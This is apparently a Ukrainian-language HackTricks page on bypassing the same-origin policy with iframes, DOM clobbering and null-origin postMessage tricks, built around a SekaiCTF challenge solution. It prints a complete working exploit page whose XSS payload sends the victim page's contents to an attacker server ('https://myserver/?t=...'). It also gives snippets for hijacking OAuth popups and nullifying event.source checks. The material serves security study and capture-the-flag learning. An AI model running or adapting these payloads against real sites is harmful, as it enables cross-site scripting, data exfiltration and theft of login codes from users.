Обхід SOP за допомогою Iframes - 2

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Iframes у SOP-2

У solution для цього challenge, @Strellic_ пропонує подібний метод до попереднього розділу. Давайте перевіримо.

У цьому завданні attacker має bypass це:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Якщо це станеться, він може надіслати postmessage з HTML-контентом, який буде записаний на сторінку через innerHTML без санітизації (XSS).

Спосіб обійти first check — зробити так, щоб window.calc.contentWindow було undefined, а e.sourcenull:

  • window.calc.contentWindow фактично є document.getElementById("calc"). Ви можете clobber document.getElementById за допомогою <img name=getElementById /> (зверніть увагу, що Sanitizer API -here- у своєму стандартному стані не налаштовано на захист від атак DOM clobbering).
  • Отже, ви можете clobber document.getElementById("calc") за допомогою <img name=getElementById /><div id=calc></div>. Тоді window.calc буде undefined.
  • Тепер нам потрібно, щоб e.source було undefined або null (оскільки використовується == замість ===, null == undefinedTrue). Досягти цього “легко”. Якщо створити iframe і send postMessage з нього та одразу видалити iframe, e.origin стане null. Перевірте наступний код
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null

Щоб обійти другу перевірку, пов’язану з token, потрібно відправити token зі значенням null і зробити значення window.token рівним undefined:

  • Надіслати token у postMessage зі значенням null — це тривіально.
  • window.token отримується викликом функції getCookie, яка використовує document.cookie. Зверніть увагу, що будь-який доступ до document.cookie на сторінках з origin null викликає помилку. Це змусить window.token мати значення undefined.

Остаточне рішення від @terjanqтаке:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)

function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr)

function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>

2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)

Нещодавнє завдання TryHackMe («Vulnerable Codes») демонструє, як можна перехопити OAuth popups, коли opener перебуває всередині sandboxed iframe, що дозволяє лише scripts і popups. Цей iframe заганяє і себе, і popup в origin "null", тому обробники, які перевіряють if (origin !== window.origin) return, тихо не спрацьовують, бо window.origin всередині popup також "null". Навіть якщо браузер все ще показує справжній location.origin, жертва ніколи його не перевіряє, тож повідомлення, контрольовані нападником, проходять безперешкодно.

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);

Висновки щодо зловживання цією конфігурацією:

  • Обробники, що порівнюють origin з window.origin всередині popup, можна обійти, оскільки обидва оцінюються як "null", тож підроблені повідомлення виглядають легітимними.
  • Sandboxed iframes, які надають allow-popups, але опускають allow-same-origin, все одно породжують popup’и, закріплені за контрольованим атакуючим null origin, що дає стабільне середовище навіть у збірках Chromium 2025 року.

Source-nullification & frame-restriction bypasses

Публікації щодо CVE-2024-49038 виділяють два повторно використовувані примітиви для цієї сторінки: (1) ви все ще можете взаємодіяти зі сторінками, які встановлюють X-Frame-Options: DENY, запускаючи їх через window.open і надсилаючи повідомлення після завершення навігації, та (2) ви можете brute-force перевірки event.source == victimFrame, видаливши iframe одразу після відправлення повідомлення, так що приймач у обробнику бачить лише null.

const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);

Поєднайте це з DOM-clobbering trick вище: як тільки отримувач бачить лише event.source === null, будь-яке порівняння з window.calc.contentWindow або подібним стає недійсним, дозволяючи вам знову доставляти malicious HTML sinks через innerHTML.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks